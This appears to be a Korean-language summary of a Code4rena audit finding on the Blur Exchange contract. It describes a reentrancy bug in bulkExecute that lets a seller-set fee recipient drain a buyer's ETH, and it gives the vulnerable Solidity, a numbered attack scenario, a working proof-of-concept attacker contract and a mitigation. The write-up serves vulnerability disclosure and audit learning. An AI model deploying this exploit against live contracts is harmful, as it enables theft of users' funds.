code4rena-2022-11-blur-exchange-h01

[H-01] Direct theft of buyer’s ETH funds

보고서

Summary

재진입이 가능하여 판매자 또는 수수료 수령자가 구매자의 ETH를 훔칠 수 있다.

Keyword

reentrancy, theft

Vulnerability

bulkExecute 함수는 여러개의 주문을 처리한다. 중간에 어떤 주문이 실패하더라도 컨트랙트콜이 revert 되지 않고 이어서 작업을 완료하도록 구현되었다.

거래가 성사되면 수수료와 판매 대금을 수수료 수령자와 판매자에게 전달한다. 이 때, 수수료 수령자는 판매자에 의해 지정된다. 또한 판매자는 수수료율을 결정할 수 있다. 거래가 끝나고 컨트랙트콜 호출자가 전달한 ETH 중 남은 것은 _returnDust 함수를 통해 돌려준다.

이 상황에, 다음 세 버그에 의해 ETH를 훔칠 수 있다.

  • _execute 함수에만 재진입 가드가 있으므로, 이를 호출하지 않는 한 수수료 수령자 또는 판매자가 재진입을 할 수 있음
  • bulkExecute 함수는 비어있는 배열을 파라미터로 받을 수 있음. 이를 통해 _execute를 호출하지 않으면서(재진입 가드를 트리거하지 않으면서) _returnDust를 호출시킬 수 있음.
  • _returnDust는 호출자에게 컨트랙트에 예치된 ETH를 전량 전송함

따라서, bulkExecute _execute 대금/수수료 지불을 위해 ETH 전송 bulkExecute 재진입(executions 파라미터를 빈 배열로) _returnDust 호출 컨트랙트에 남아있는 ETH를 탈취 플로우로 공격이 가능하다.

    function bulkExecute(Execution[] calldata executions)
        external
        payable
        whenOpen
        setupExecution
    {
        /*
        REFERENCE
        uint256 executionsLength = executions.length;
        for (uint8 i=0; i < executionsLength; i++) {
            bytes memory data = abi.encodeWithSelector(this._execute.selector, executions[i].sell, executions[i].buy);
            (bool success,) = address(this).delegatecall(data);
        }
        _returnDust(remainingETH);
        */
        uint256 executionsLength = executions.length;
        for (uint8 i = 0; i < executionsLength; i++) {
            ...
        }
        _returnDust();
    }
 
    function _execute(Input calldata sell, Input calldata buy)
        public
        payable
        reentrancyGuard
        internalCall
    {
        ...
 
        _executeFundsTransfer(
            sell.order.trader,
            buy.order.trader,
            sell.order.paymentToken,
            sell.order.fees,
            price
        );
        _executeTokenTransfer(
            sell.order.collection,
            sell.order.trader,
            buy.order.trader,
            tokenId,
            amount,
            assetType
        );
 
        ...
    }
 
    function _returnDust() private {
        uint256 _remainingETH = remainingETH;
        assembly {
            if gt(_remainingETH, 0) {
                let callStatus := call(
                    gas(),
                    caller(),
                    selfbalance(),
                    0,
                    0,
                    0,
                    0
                )
            }
        }
    }

다음과 같은 공격 시나리오가 나올 수 있다. 수수료는 10%라고 가정한다.

  1. Bob (구매자)는 ETH를 사용하여 총 4개의 주문을 처리하려 한다. 그중 하나의 주문은 Alice(판매자)의 판매 주문이다. 이 주문이 bulkExecute 배열 파라미터의 첫번째 값이라고 가정하자.
  2. Bob은 4 ETH를 보내며 bulkExecute를 호출한다. 각 주문 당 1 ETH씩 지불하고자 한다.
  3. Alice의 주문이 처리된다. 수수료 10%인 0.1 ETH가 수수료 수령자(컨트랙트)에게 간다. 수수료 수령자(컨트랙트)는 Alice에 의해 설정되었다.
  4. 수수료 수령자(컨트랙트)는 receive 또는 fallback을 이용하여 1 wei를 보내며 bulkExecute를 호출한다. 이 때, 파라미터로는 빈 배열을 보낸다.
  5. _returnDust가 호출되며 남은 3.9 ETH가 수수료 수령자에게 보내진다.
  6. 수수료 수령자(컨트랙트)는 3.1 ETH를 Alice(판매자)에게 보낸다.
  7. 수수료 수령자(컨트랙트)를 selfdestruct 하며 0.9 ETH를 Exchange 컨트랙트로 보낸다. (Bob의 Alice 주문 거래가 정상적으로 마치게 하기 위해)
  8. Alice 주문 건의 수수료 지불 로직에 의한 재진입이 끝나고, _execute로 컨텍스트가 돌아온다. Alice의 판매금 0.9 ETH를 정산한다.
  9. Bob이 요청한 나머지 주문 3건은 revert 된다. 이미 남은 ETH를 _returnDust로 빼내어 대금을 지불할 수 없기 떄문이다.
  10. Alice는 3이더를 훔쳐내었다.

마지막으로, 공격으로 인해 컨트랙트가 가지고 있는 ETH가 전부 빠져나가 주문 3건이 revert 되더라도, 트랜잭션 자체는 revert 되지 않는다. bulkExecute는 여러개의 주문 중 실패한 주문이 있더라도 revert 되지 않도록 짜여있기 때문이다.

다음은 PoC 코드(수수료 수령 컨트랙트)이다.

contract MockFeeReceipient {
 
    bool lock;
    address _seller;
    uint256 _price;
 
    constructor(address seller, uint256 price) {
        _seller = seller;
        _price = price;
    }
    receive() external payable {
        Exchange ex = Exchange(msg.sender);
        if(!lock){
            lock = true;
            // first entrance when receiving fee
            uint256 feeAmount = msg.value;
            // Create empty calldata for bulkExecute and call it
            Execution[] memory executions = new Execution[](0);
            bytes memory data = abi.encodeWithSelector(Exchange.bulkExecute.selector, executions);
            address(ex).call{value: 1}(data);
 
            // Now we received All of buyers funds. 
            // Send stolen ETH to seller minus the amount needed in order to keep execution.
            address(_seller).call{value: address(this).balance - (_price - feeAmount)}('');
 
            // selfdestruct and send funds needed to Exchange (to not revert)
            selfdestruct(payable(msg.sender));
        }
        else{
            // Second entrance after steeling balance
            // We will get here after getting funds from reentrancy
        }
    }
}

출처: https://github.com/code-423n4/2022-11-non-fungible-findings/issues/96

Impact

판매자 또는 수수료 수령자가 구매자의 ETH를 훔칠 수 있다.

Mitigation

bulkExecute 호출 시 빈 배열을 파라미터로 사용할 수 없게 한다. 또한 재진입 할 수 없도록 setupExecution에서 isInternal = false인지 확인한다.


tags: bughunting, blur exchange, smart contract, solidity, nft marketplace, reentrancy, native token, severity high